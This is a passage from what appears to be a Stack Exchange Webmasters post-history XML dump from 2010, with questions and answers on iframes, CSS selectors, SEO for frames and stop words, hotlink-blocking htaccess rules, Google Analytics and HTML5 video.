skydrive:&#xD;&#xA;&#xD;&#xA;&gt; `&lt;iframe title =&quot;Preview&quot; scrolling=&quot;no&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; frameborder=&quot;0&quot; style=&quot;width:320px;height:238px;padding:0;background-color:#fcfcfc;&quot; src=&quot;http://[blah-blah.com/].jpg&quot;&gt;&lt;/iframe&gt;`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8995" PostHistoryTypeId="1" PostId="4539" RevisionGUID="d8c52076-a6b9-45a5-ac08-9c24720a5ecd" CreationDate="2010-10-28T15:00:55.020" UserId="1920" Text="iFrames from Skydrive: yes, no, how" />
  <row Id="8996" PostHistoryTypeId="3" PostId="4539" RevisionGUID="d8c52076-a6b9-45a5-ac08-9c24720a5ecd" CreationDate="2010-10-28T15:00:55.020" UserId="1920" Text="&lt;html&gt;&lt;web-hosting&gt;&lt;security&gt;&lt;images&gt;&lt;iframe&gt;" />
  <row Id="8997" PostHistoryTypeId="2" PostId="4540" RevisionGUID="693f06bb-c5be-4a60-9ade-64dda374355c" CreationDate="2010-10-28T15:07:46.853" UserId="2279" Text="The price would depend on the greed of the domain owner and perceived value of the domain. I've seen instances in the past where domain squatters have demanded anything from £1,000 to £10,000 for a .co.uk domain (they cost £6 for two years). Needless to say we have found alternative domains.&#xD;&#xA;&#xD;&#xA;If you can prove a trademark on company name/product/brand it does change the game a little since you can legally take back a domain name that infringes on a trademark. However in practical terms it would cost a lot of time and money to release a domain that you felt was being held unethically by using your company name/branding in order to sell. If you care to read more search for &quot;trademarks and domain names&quot;.&#xD;&#xA;&#xD;&#xA;Practical advice: it is likely the person holding the domain will demand an unrealistic price initially to test the water. Have a maximum price in mind before hand and never go over this value. Wait for the initial price demand from the domain owner and if it is in excess of your figure (almost certain to be), make your offer and wait a while. If they have no other offers on the table their greed may get the better of them and they may come back and accept the offer. Otherwise, get another domain name.&#xD;&#xA;&#xD;&#xA;It would be great to see domain squatters stopped, but unfortunately this is unlikely to happen any time soon." />
  <row Id="8998" PostHistoryTypeId="2" PostId="4541" RevisionGUID="389593d3-05d2-4224-b23d-20214c5cef60" CreationDate="2010-10-28T15:09:32.123" UserId="2068" Text="I have four li's and I want to style the 4th li not to have the background image. How do I accomplish this without having to insert a spam tag?  &#xD;&#xA;&#xD;&#xA;    #get-help ul.help-menu li {&#xD;&#xA;    color: #656565;&#xD;&#xA;    background:url(&quot;/ContentTemplates/assets/images/backgrounds/nav-brdr.png&quot;)      &#xD;&#xA;    no-repeat scroll 50% 100% transparent;&#xD;&#xA;    width: 226px;&#xD;&#xA;    text-indent: 10px; &#xD;&#xA;    }" />
  <row Id="8999" PostHistoryTypeId="1" PostId="4541" RevisionGUID="389593d3-05d2-4224-b23d-20214c5cef60" CreationDate="2010-10-28T15:09:32.123" UserId="2068" Text="styling one list item" />
  <row Id="9000" PostHistoryTypeId="3" PostId="4541" RevisionGUID="389593d3-05d2-4224-b23d-20214c5cef60" CreationDate="2010-10-28T15:09:32.123" UserId="2068" Text="&lt;css&gt;" />
  <row Id="9001" PostHistoryTypeId="5" PostId="3478" RevisionGUID="20c6d5d0-54ad-4ec4-9277-aa8cbb68a2c5" CreationDate="2010-10-28T15:14:13.820" UserId="2185" Comment="added 44 characters in body" Text="I want to display the total amount earned at the right top corner of my desktop if there is any api provided with adsense so that i can use a window application to fetch that information from google. is there any thing available like that?&#xD;&#xA;&#xD;&#xA;where can i get examples. sample codes.?" />
  <row Id="9002" PostHistoryTypeId="2" PostId="4542" RevisionGUID="2de58c5d-f6e9-4e08-b202-f418f0da796d" CreationDate="2010-10-28T15:19:05.313" UserId="2552" Text="I think you mean you want to float the Iframe not align it. &#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;    iframe{float:left;}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;&#xD;&#xA;As for using iFrames, it's discouraged and people using ad-blockers may not see your images. Most AD's use iframes to host their images and content so it's often ignored on websites when an adblocker is turned on. &#xD;&#xA;&#xD;&#xA;Cool trick though just between you and me, you can place content inside the iFrame tag that will be displayed if the iFrame is rejected by an Ad-Blocker. &#xD;&#xA;&#xD;&#xA;    &lt;iframe title =&quot;Preview&quot; scrolling=&quot;no&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot;&#xD;&#xA;    frameborder=&quot;0&quot; style=&quot;width:320px;height:238px;padding:0;background-color:#fcfcfc;&quot; &#xD;&#xA;    src=&quot;http://[blah-blah.com/].jpg&quot;&gt;&#xD;&#xA;    Sorry but Ad Blocking software may have disabled your ability to see this content. &#xD;&#xA;    Please disable your Ad-Blocking software to see this content.&lt;/iframe&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9003" PostHistoryTypeId="2" PostId="4543" RevisionGUID="3b1af277-e4b4-4601-8df9-827580073c35" CreationDate="2010-10-28T15:21:31.973" UserId="2552" Text="Print stylesheets are really custom based on your content. Ideally, you want to strip off any fancy items and make sure the page is printing black text on a white background. &#xD;&#xA;&#xD;&#xA;The CSS Zen garden is displaying how to use the same content but with different stylesheets to make it appear different. Ideally they would probably all use the same print.css file since their structure and content remains the same." />
  <row Id="9004" PostHistoryTypeId="2" PostId="4544" RevisionGUID="c4f9edfb-7890-478c-acc6-fe84dc4b5f68" CreationDate="2010-10-28T15:23:41.287" UserId="2552" Text="    #navlist li:last-child { background:none; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Very similar to this request over at SO: [Stack Overflow: ][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2004075/how-to-remove-ul-unordered-lists-last-li-list-items-border-using-css-withou" />
  <row Id="9005" PostHistoryTypeId="2" PostId="4545" RevisionGUID="780dae01-c3b2-40af-977a-d968afc591d9" CreationDate="2010-10-28T15:27:29.490" UserId="2552" Text="HTML5 isn't a standard yet, these sort of problems will be existing for a long time till the final standards are decided on and published. I would stick with using flash video and if you can detect the correct browser that supports HTML5 try to render the specific way that browser currently supports it. You're going to have the same problem with IE and Safari who also have the same issue you're seeing." />
  <row Id="9006" PostHistoryTypeId="2" PostId="4546" RevisionGUID="b79c7601-8543-48cd-9d56-f92d9940edf9" CreationDate="2010-10-28T15:32:56.877" UserId="1828" Text="The keywords for our site comprises of words which are google stop words&#xD;&#xA;&#xD;&#xA;namely:&#xD;&#xA;&#xD;&#xA;    thank you&#xD;&#xA;&#xD;&#xA;Is it better to write this as: &#xD;&#xA;&#xD;&#xA;    thank-you&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    thankyou&#xD;&#xA;&#xD;&#xA;or does it make any difference?" />
  <row Id="9007" PostHistoryTypeId="1" PostId="4546" RevisionGUID="b79c7601-8543-48cd-9d56-f92d9940edf9" CreationDate="2010-10-28T15:32:56.877" UserId="1828" Text="How to write content that uses keyword terms which are google stop words" />
  <row Id="9008" PostHistoryTypeId="3" PostId="4546" RevisionGUID="b79c7601-8543-48cd-9d56-f92d9940edf9" CreationDate="2010-10-28T15:32:56.877" UserId="1828" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="9010" PostHistoryTypeId="2" PostId="4548" RevisionGUID="c85077fd-feaf-490e-bf9f-46f54547132e" CreationDate="2010-10-28T15:45:35.900" UserId="2552" Text="This sounds really similar to this post which was also asked 2 days ago: &#xD;&#xA;&#xD;&#xA;http://www.addthis.com/forum/viewtopic.php?f=3&amp;t=26910&amp;view=next&#xD;&#xA;&#xD;&#xA;From the sounds of it you're trying to configure the AddThis button to let you dynamically change the message sent to the user. This opens up a world of spam problems if your button is abused. " />
  <row Id="9011" PostHistoryTypeId="2" PostId="4549" RevisionGUID="cd71216a-4779-48da-be94-3696f56acbf8" CreationDate="2010-10-28T15:51:28.653" UserId="1253" Text="Google is smart enough to know that &quot;thank-you&quot; and &quot;thankyou&quot; both mean &quot;thank you&quot;. So trying to obfuscate it would be pointless.&#xD;&#xA;&#xD;&#xA;Stop words are basically so common that trying to rank pages for them are pretty pointless. I wouldn't be optimistic about attaining rankings for them directly. Instead I would focus on alternative keywords that are synonyms and long tail search terms that use those search terms.&#xD;&#xA;" />
  <row Id="9012" PostHistoryTypeId="5" PostId="4539" RevisionGUID="fe66f31c-4164-4c6b-a8b6-8f2ccf7c4da4" CreationDate="2010-10-28T15:58:49.667" UserId="1920" Comment="added 152 characters in body" Text="I have a two-pronged question. &#xD;&#xA;&#xD;&#xA;First: SEO Concerns aside, should I be concerned about using iFrames on my site as far as viruses etc go? I am using skydrive to host my images and it provides an iFrame embed code that's almost exactly what I am looking for. Since it's just hosting images, I am not worried about SEO, but I am worried about any vulnerabilities this might open me or my users to. Have iFrames been completely abandoned by the web community due to safety concerns, or are they okay to use again? (Using img src is simple enough, I just don't want to have to tap out all of the dimensions since skydrive provides me the code.)&#xD;&#xA;&#xD;&#xA;Second: If I do use the iFrame code, how do I add a modifier to have the text wrap next to the image? I have two lines with two pics, then one line with one pic but the text begins at the base of the image instead of the top, thus leaving only one line of text instead 238px. To my knowledge, `align = left | right | center` wouldn't work. &#xD;&#xA;&#xD;&#xA;Here's what I have from skydrive:&#xD;&#xA;&#xD;&#xA;&gt; `&lt;iframe title =&quot;Preview&quot; scrolling=&quot;no&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; frameborder=&quot;0&quot; style=&quot;width:320px;height:238px;padding:0;background-color:#fcfcfc;&quot; src=&quot;http://[blah-blah.com/img].jpg&quot;&gt;&lt;/iframe&gt;`&#xD;&#xA;&#xD;&#xA;(Unfortunately I am unable to use the direct URL http://[blah-blah/img].jpg as it is popping broken images, likely a permissions for linking thing)&#xD;&#xA;" />
  <row Id="9013" PostHistoryTypeId="2" PostId="4550" RevisionGUID="f91be45e-dbe0-4abb-8e5f-f24259dff699" CreationDate="2010-10-28T16:09:33.127" UserId="2786" Text="I have a webpage which has a topbar spanning across the top and then the content in a frame below. The content is on a different subdomain (i.e. the page is at sub.foo.com but the content frame at site.foo.com)&#xD;&#xA;&#xD;&#xA;When people search for the site on Google the link is often to the content subdomain (i.e. site.foo.com) rather than sub.foo.com which has the topbar, which they should be taken to instead.&#xD;&#xA;&#xD;&#xA;What are the best practices for handling this? We are impleentig a redirect that will take the user to sub.foo.com if they go directly to site.foo.com, but I wanted to know if there were any SEO techniques we should be employing such as robots.txt or canonical site tags to prevent the content subdomain being indexed and linked to from search engines. Needless to say, we do not want to loose ranking die to any techniques we employ. I've not really much experience in this area." />
  <row Id="9014" PostHistoryTypeId="1" PostId="4550" RevisionGUID="f91be45e-dbe0-4abb-8e5f-f24259dff699" CreationDate="2010-10-28T16:09:33.127" UserId="2786" Text="SEO techniques to handle frames" />
  <row Id="9015" PostHistoryTypeId="3" PostId="4550" RevisionGUID="f91be45e-dbe0-4abb-8e5f-f24259dff699" CreationDate="2010-10-28T16:09:33.127" UserId="2786" Text="&lt;seo&gt;" />
  <row Id="9016" PostHistoryTypeId="2" PostId="4551" RevisionGUID="11a0164c-20f9-4f3a-bc17-369505e83515" CreationDate="2010-10-28T16:15:21.670" UserId="1253" Text="By using frames you're already hindering your SEO efforts as frames are not SEO friendly (and it's not great for usability or accessibility which is no coincidence). &#xD;&#xA;&#xD;&#xA;Having said that your best bet is to check to see if the page is being loaded outside of a frame and then do a 301 redirect to the framed page. That will tell the search engines that the framed page is the correct page and to disregard the unframed version. &#xD;&#xA;&#xD;&#xA;A better solution is to ditch the frames and use server side includes of some sort to handle the automatic inclusion of your topbar." />
  <row Id="9017" PostHistoryTypeId="2" PostId="4552" RevisionGUID="1219420e-9270-4355-b56f-fcefe1e2c9b0" CreationDate="2010-10-28T16:23:32.023" UserId="2465" Text="I am looking for a good mobile framework. This is for a university library, providing access to some database resources, hours and the like.&#xD;&#xA;&#xD;&#xA;I have heard good things about the MIT Mobile Web Project and I know that some schools like Bucknell have used it and been pretty happy. Does anyone have any experience with this framework or any others?&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="9018" PostHistoryTypeId="1" PostId="4552" RevisionGUID="1219420e-9270-4355-b56f-fcefe1e2c9b0" CreationDate="2010-10-28T16:23:32.023" UserId="2465" Text="Looking for a good mobile framework" />
  <row Id="9019" PostHistoryTypeId="3" PostId="4552" RevisionGUID="1219420e-9270-4355-b56f-fcefe1e2c9b0" CreationDate="2010-10-28T16:23:32.023" UserId="2465" Text="&lt;mobile&gt;" />
  <row Id="9020" PostHistoryTypeId="2" PostId="4553" RevisionGUID="e3d9507a-5879-46dc-9b64-6caff524fbe6" CreationDate="2010-10-28T16:25:45.257" UserId="1064" Text="How do you know that the words are stop words?&#xD;&#xA;&#xD;&#xA;Stop words have a very specific definition - here's [Wikipedia's][1]:&#xD;&#xA;&#xD;&#xA;&gt; Stop words is the name given to words&#xD;&#xA;&gt; which are filtered out prior to, or&#xD;&#xA;&gt; after, processing of natural language&#xD;&#xA;&gt; data (text).&#xD;&#xA;&#xD;&#xA;I can run a Google search for [thank you][2] and get relevant results and when I run a keyword tool analysis I see that the term &quot;thank you&quot; has about 4,090,000 monthly searches - that wouldn't work if Google were filtering these words.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Stop_words&#xD;&#xA;  [2]: http://www.google.com/search?q=thank+you" />
  <row Id="9021" PostHistoryTypeId="2" PostId="4554" RevisionGUID="b4a89a3c-16fc-45a1-963b-d01232c1c162" CreationDate="2010-10-28T16:34:51.793" UserId="233" Text="To style the **4th** list item, you can use the `nth-child` selector, though it is not supported in Internet Explorer.&#xD;&#xA;&#xD;&#xA;    #get-help ul.help-menu li:nth-child(4) {&#xD;&#xA;      background: none;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you mean the last item (independent of how many list items there are), use `:last-child` instead of `:nth-child(4)`.&#xD;&#xA;&#xD;&#xA;If you need full support, you might want to try Javascript or [jQuery][1]. (Search at [Stack Overflow][2] if you are not sure how.)&#xD;&#xA;&#xD;&#xA;The simplest solution is to add a class to the 4th item manually, or as you generate the HTML if it comes from a script. There is nothing really wrong with that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/&#xD;&#xA;  [2]: http://stackoverflow.com" />
  <row Id="9022" PostHistoryTypeId="2" PostId="4555" RevisionGUID="5769dc3d-ecf5-4fe0-a01c-c9dc466a57da" CreationDate="2010-10-28T16:55:38.500" UserId="233" Text="As John said, frames are pretty bad for SEO. You are already doing a redirect which is OK from a user's point of view, but the search engines probably won't see that. My advice:&#xD;&#xA;&#xD;&#xA;1. Put a link on the inside page to the wrapper page, with `target=&quot;_top&quot;` in case users click it. That should at least point a little &quot;link juice&quot; to the proper page.&#xD;&#xA;2. Add a [canonical tag][1] to the inside page too. This now works cross-domain so that might stem the problem.&#xD;&#xA;3. Find all links to the inside page and try to get them changed if possible.&#xD;&#xA;4. Add more links to the wrapper page from other places to try and get it ranking better.&#xD;&#xA;&#xD;&#xA;It's a very difficult task, because the wrapper page doesn't contain any real content, only the inner page does. You are fighting a losing battle really, and ought to find a way around the frame option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="9023" PostHistoryTypeId="2" PostId="4556" RevisionGUID="0cd3e5fa-319f-4e1a-813a-5dfc19eb5f58" CreationDate="2010-10-28T17:01:22.363" UserId="233" Text="I have heard lots of good things about the [jQuery Mobile Framework][1]. It's still in alpha at the moment but it is usable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquerymobile.com/" />
  <row Id="9024" PostHistoryTypeId="5" PostId="4539" RevisionGUID="b5c8e042-1db2-489f-b4d2-64ff3f96d3f3" CreationDate="2010-10-28T17:03:20.227" UserId="1920" Comment="added 2 characters in body" Text="I have a two-pronged question. &#xD;&#xA;&#xD;&#xA;First: SEO Concerns aside, should I be concerned about using iFrames on my site as far as viruses etc go? I am using skydrive to host my images and it provides an iFrame embed code that's almost exactly what I am looking for. Since it's just hosting images, I am not worried about SEO, but I am worried about any vulnerabilities this might open me or my users to. Have iFrames been completely abandoned by the web community due to safety concerns, or are they okay to use again? (*Using img src is simple enough, I just don't want to have to tap out all of the dimensions since skydrive provides me the code.)&#xD;&#xA;&#xD;&#xA;Second: If I do use the iFrame code, how do I add a modifier to have the text wrap next to the image? I have two lines with two pics, then one line with one pic but the text begins at the base of the image instead of the top, thus leaving only one line of text instead 238px. To my knowledge, `align = left | right | center` wouldn't work. &#xD;&#xA;&#xD;&#xA;Here's what I have from skydrive:&#xD;&#xA;&#xD;&#xA;&gt; `&lt;iframe title =&quot;Preview&quot; scrolling=&quot;no&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; frameborder=&quot;0&quot; style=&quot;width:320px;height:238px;padding:0;background-color:#fcfcfc;&quot; src=&quot;http://[blah-blah.com/img].jpg&quot;&gt;&lt;/iframe&gt;`&#xD;&#xA;&#xD;&#xA;(*Unfortunately I am unable to use the direct URL http://[blah-blah/img].jpg as it is popping broken images, likely a permissions for linking thing)&#xD;&#xA;" />
  <row Id="9025" PostHistoryTypeId="2" PostId="4557" RevisionGUID="ca33d984-b4a4-4156-bb89-13d480fd9632" CreationDate="2010-10-28T17:38:15.307" UserId="2026" Text="I am using following htaccess code to stop hot linking my image files&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    Options +SymlinksIfOwnerMatch&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^http://(.+\.)?article-stack.com/ [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    ReWriteRule .*.(png|gif|jpg)$ - [N,F,L]&#xD;&#xA;&#xD;&#xA;Still the imge of my site are accessible from other sites. how can i stop it?" />
  <row Id="9026" PostHistoryTypeId="1" PostId="4557" RevisionGUID="ca33d984-b4a4-4156-bb89-13d480fd9632" CreationDate="2010-10-28T17:38:15.307" UserId="2026" Text="Not able to stop hotlink" />
  <row Id="9027" PostHistoryTypeId="3" PostId="4557" RevisionGUID="ca33d984-b4a4-4156-bb89-13d480fd9632" CreationDate="2010-10-28T17:38:15.307" UserId="2026" Text="&lt;htaccess&gt;" />
  <row Id="9028" PostHistoryTypeId="2" PostId="4558" RevisionGUID="7676b89a-6999-45df-9020-fbb63f2f3586" CreationDate="2010-10-28T17:44:34.590" UserId="1253" Text="I think you're missing an escape for the `.` in your domain name:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    Options +SymlinksIfOwnerMatch&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^http://(.+\.)?article-stack\.com/ [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    ReWriteRule .*.(png|gif|jpg)$ - [N,F,L]" />
  <row Id="9029" PostHistoryTypeId="6" PostId="4557" RevisionGUID="1695b890-29a8-4e33-922e-6a3dc5a52133" CreationDate="2010-10-28T17:45:11.407" UserId="1253" Comment="edited tags" Text="&lt;htaccess&gt;&lt;hotlinking&gt;" />
  <row Id="9030" PostHistoryTypeId="2" PostId="4559" RevisionGUID="6bc97f73-1123-4ff7-bd4d-f7ab741eb762" CreationDate="2010-10-28T18:10:21.227" UserId="1748" Text="Site5 is decent and cheap - they went through a period in the past where they screwed some stuff up and their support wasn't great, but they've been good since a year or two ago." />
  <row Id="9033" PostHistoryTypeId="2" PostId="4560" RevisionGUID="22e98d3b-c7c5-447e-831c-9db0aa810cf2" CreationDate="2010-10-28T19:04:24.170" UserId="2608" Text="There are other contributing factors that go into the success of a CDN partner beyond just the scope of which one offers the fastest delivery.&#xD;&#xA;&#xD;&#xA;I have heard some stories of media sites which have had outages because their hosting provider doesnt fully understand the challenges of content delivery and working with a CDN network.&#xD;&#xA;&#xD;&#xA;I would recommend checking with your provider to see if they have a partnership with a CDN like Akamai who are the leaders in this function.  There are many more benefits of having a cloud solution provider whom functions and partners with the CDN network and it will usually also include a better scale economically with price savings than being tied into the service directly." />
  <row Id="9034" PostHistoryTypeId="2" PostId="4561" RevisionGUID="02a99f2e-cc86-4e4a-b249-1ea57dbd11d9" CreationDate="2010-10-28T19:14:01.860" UserId="2789" Text="I've seen this trick on lots of websites, but I don't know how I could create this myself easily. It's basically text or a logo which is saved on a transparent background with a small border, to minimize the file size. &#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;For example on [**Postmarkapp**][1], they have this transparent logo, with a yellow border:&#xD;&#xA;&#xD;&#xA;![Postmark logo][2]&#xD;&#xA;&#xD;&#xA;and there are a lot more of these examples on the web.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;What's an easy way to create such a png file with a small border so your text or logo will seamlessly blend into the background color?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://postmarkapp.com/&#xD;&#xA;  [2]: http://postmarkapp.com/images/landing/logo.png" />
  <row Id="9035" PostHistoryTypeId="1" PostId="4561" RevisionGUID="02a99f2e-cc86-4e4a-b249-1ea57dbd11d9" CreationDate="2010-10-28T19:14:01.860" UserId="2789" Text="How can you create text as a png file to minimize file size?" />
  <row Id="9036" PostHistoryTypeId="3" PostId="4561" RevisionGUID="02a99f2e-cc86-4e4a-b249-1ea57dbd11d9" CreationDate="2010-10-28T19:14:01.860" UserId="2789" Text="&lt;images&gt;&lt;png&gt;&lt;transparency&gt;" />
  <row Id="9037" PostHistoryTypeId="2" PostId="4562" RevisionGUID="190ac3c4-9b43-4764-9555-8d79e4a86783" CreationDate="2010-10-28T19:19:46.317" UserId="1253" Text="Unless I'm missing something couldn't you just use Photoshop to create the image with a transparent background and then use CSS to position it appropriately (through various different techniques)?" />
  <row Id="9040" PostHistoryTypeId="2" PostId="4564" RevisionGUID="b2498079-127b-4b8e-8b5a-cc226ac41c1e" CreationDate="2010-10-28T19:49:44.333" UserId="132" Text="It seems that when logged in to Google Analytics, you can create &quot;Accounts&quot;, as well as &quot;Profiles&quot;. Websites can be tracked under each of these.&#xD;&#xA;&#xD;&#xA;If you are wanting to track multiple websites, some personal, some client, is there a useful arrangement of analytics accounts and profiles? Is it all of one or of another, or some particular combination?" />
  <row Id="9041" PostHistoryTypeId="1" PostId="4564" RevisionGUID="b2498079-127b-4b8e-8b5a-cc226ac41c1e" CreationDate="2010-10-28T19:49:44.333" UserId="132" Text="Organizing google Analytics accounts" />
  <row Id="9042" PostHistoryTypeId="3" PostId="4564" RevisionGUID="b2498079-127b-4b8e-8b5a-cc226ac41c1e" CreationDate="2010-10-28T19:49:44.333" UserId="132" Text="&lt;google-analytics&gt;" />
  <row Id="9043" PostHistoryTypeId="2" PostId="4565" RevisionGUID="434a2cf2-de43-439f-ab9f-b59b6deaaab2" CreationDate="2010-10-28T20:00:34.740" UserId="2791" Text="**(question imported from http://superuser.com/q/204439/53847 )**&#xD;&#xA;&#xD;&#xA;Horrible title, but I couldn't think of a succinct way to summarize it to fit.&#xD;&#xA;&#xD;&#xA;I have HostMonster for my web hosting. I have several domain names under the same account (using the same web space, IP address, etc...). Every HM account has one domain set up as the &quot;main domain&quot;, and all other domains are &quot;secondary&quot;.&#xD;&#xA;&#xD;&#xA;The only way I have ever encountered this being an issue is in trying to use HTTPS - since (from my limited understanding) HTTPS encrypts headers, you can't route HTTPS requests to different virtual hosts on a server - only unencrypted requests, since it must look in the request to know where to route it.&#xD;&#xA;&#xD;&#xA;When I registered for my account, I only had one domain name (A). I have since added domain names (B), (C), (D), etc... At one point I switched domain name (B) to be my &quot;main&quot; domain name - so I could use HTTPS with it. I have since sold doman name (B), and would like to make domain name (A) my &quot;main&quot; one again (as it was before), but HM support says, &quot;no, once a domain name has been a 'main' domain name on an account once, we can't set it up to be a 'main' domain name again. You're welcome to use domains (C), or (D), though.&quot;. They tell me the only way to reuse domain (A) as a &quot;main&quot; domain would be to set up a new account and transfer over all my files.&#xD;&#xA;&#xD;&#xA;I'm confused here. If I have domains (D), (E), and (F), they say I'm welcome to make one of them my new main domain name, just never (A) again, since I've already &quot;used&quot; it once. Calls to support only reveal that they can't let me do it because doing so would somehow &quot;break&quot; my account.&#xD;&#xA;&#xD;&#xA;Can anyone think of any good reason why this should be so? The only thing I can think is that maybe they're using the domain names as keys in some database or something? But if that's the case, that's ridiculous - they need to reorganize their databases!&#xD;&#xA;" />
  <row Id="9044" PostHistoryTypeId="1" PostId="4565" RevisionGUID="434a2cf2-de43-439f-ab9f-b59b6deaaab2" CreationDate="2010-10-28T20:00:34.740" UserId="2791" Text="Hostmonster can't change domains around?" />
  <row Id="9045" PostHistoryTypeId="3" PostId="4565" RevisionGUID="434a2cf2-de43-439f-ab9f-b59b6deaaab2" CreationDate="2010-10-28T20:00:34.740" UserId="2791" Text="&lt;web-hosting&gt;&lt;customer-service&gt;" />
  <row Id="9052" PostHistoryTypeId="2" PostId="4567" RevisionGUID="0f57fee1-940e-4e6c-ad37-bab63c572bab" CreationDate="2010-10-28T20:22:07.773" UserId="1064" Text="I encourage clients to set up their own accounts and [add my Google account as an authorized viewer][1] (or admin) rather than add their website profiles to my own account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55500" />
  <row Id="9053" PostHistoryTypeId="2" PostId="4568" RevisionGUID="0a26c95f-9ba2-40d1-8c2a-68724450287d" CreationDate="2010-10-28T20:43:55.793" UserId="2209" Text="You could setup 3 different accounts (Personal, Freelance, Work), after which you can toggle back and forth from the *My Analytics Accounts* dropdown menu in the upper right corner. As for profiles, it's best to create one per domain. Makes it easier to track." />
  <row Id="9054" PostHistoryTypeId="2" PostId="4569" RevisionGUID="cfa9703f-a147-4d6c-9b6e-b1e238b4a795" CreationDate="2010-10-28T20:49:19.200" UserId="2228" Text="Get [Miro Video Converter][1] and use it to convert your videos to Theora, WebM or MP4s and they will work across all browsers. Furthermore, you may wish to read [this article][2] for a crash course on how to implement video correctly across all browsers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mirovideoconverter.com/&#xD;&#xA;  [2]: http://net.tutsplus.com/tutorials/html-css-techniques/html5-audio-and-video-what-you-must-know/" />
  <row Id="9055" PostHistoryTypeId="5" PostId="4569" RevisionGUID="dc4e2833-ef78-4d18-85d8-5efce1c946b1" CreationDate="2010-10-28T21:31:00.867" UserId="2228" Comment="added 748 characters in body; added 223 characters in body; added 1 characters in body" Text="Get [Miro Video Converter][1] and use it to convert your videos to Theora, WebM or MP4s and they will work across all browsers. Furthermore, you may wish to read [this article][2] for a crash course on how to implement video correctly across all browsers.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Actually, I apologize, I just read the last part of your question about not wanting to support WebM, and quite frankly that is a stupid decision which will leave you with limited capabilities.&#xD;&#xA;&#xD;&#xA;The bottom line is that Chrome may claim to support Theora, but it will be a band-aid at best. Google will move Chrome to support WebM primarily, and anything else will be band-aided. [Microsoft][3] and [Mozilla][4] are also moving to WebM, so don't expect to have a whole lot of future support if you choose only Theora.&#xD;&#xA;&#xD;&#xA;You're &quot;P.S.&quot; essentially has the same meaning as &quot;I will only support IE6, in 2020.&quot;&#xD;&#xA;&#xD;&#xA;I'm not trying to be bashful, but grow up. If you're going to support multiple browsers, then implement the technology each one of them supports.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mirovideoconverter.com/&#xD;&#xA;  [2]: http://net.tutsplus.com/tutorials/html-css-techniques/html5-audio-and-video-what-you-must-know/&#xD;&#xA;  [3]: http://www.zdnet.com/blog/microsoft/microsoft-to-support-vp8-video-codec-with-internet-explorer-9-after-all/6264&#xD;&#xA;  [4]: http://blog.mozilla.com/blog/2010/05/19/open-web-open-video-and-webm/" />
  <row Id="9056" PostHistoryTypeId="2" PostId="4571" RevisionGUID="1f082149-1d3d-493c-bac8-b6e98d621831" CreationDate="2010-10-27T19:22:38.320" UserDisplayName="Cosmin" Text="http://webmasters.stackexchange.com/questions/4484/adding-pages-to-google-webmaster-tools-by-the-bulk" />
  <row Id="9057" PostHistoryTypeId="2" PostId="4570" RevisionGUID="d84c1e39-7ba5-42d2-9004-b0707223d751" CreationDate="2010-10-27T18:55:34.387" UserDisplayName="Cosmin" Text="Is there a method of adding websites in bulk to Google Webmaster Tools? &#xD;&#xA;&#xD;&#xA;My host username and password were hacked and all of my sites were injected with malicious scripts. I've cleaned everything up but the sites were d-listed and no longer show up in google search. I need to request reviews for ~150 sites but first I need to add them all to the webmaster tools. &#xD;&#xA;&#xD;&#xA;Any non-tedious way of doing this? " />
  <row Id="9058" PostHistoryTypeId="1" PostId="4570" RevisionGUID="d84c1e39-7ba5-42d2-9004-b0707223d751" CreationDate="2010-10-27T18:55:34.387" UserDisplayName="Cosmin" Text="Google Webmaster Tools: Adding pages to Webmaster Tools by the bulk." />
  <row Id="9059" PostHistoryTypeId="3" PostId="4570" RevisionGUID="d84c1e39-7ba5-42d2-9004-b0707223d751" CreationDate="2010-10-27T18:55:34.387" UserDisplayName="Cosmin" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="9060" PostHistoryTypeId="17" PostId="4570" RevisionGUID="6fe1ab23-f3b7-4cad-a120-650208157ebf" CreationDate="2010-10-28T22:54:50.093" UserId="-1" Comment="from http://stackoverflow.com/questions/4036649/google-webmaster-tools-adding-pages-to-webmaster-tools-by-the-bulk" Text="" />
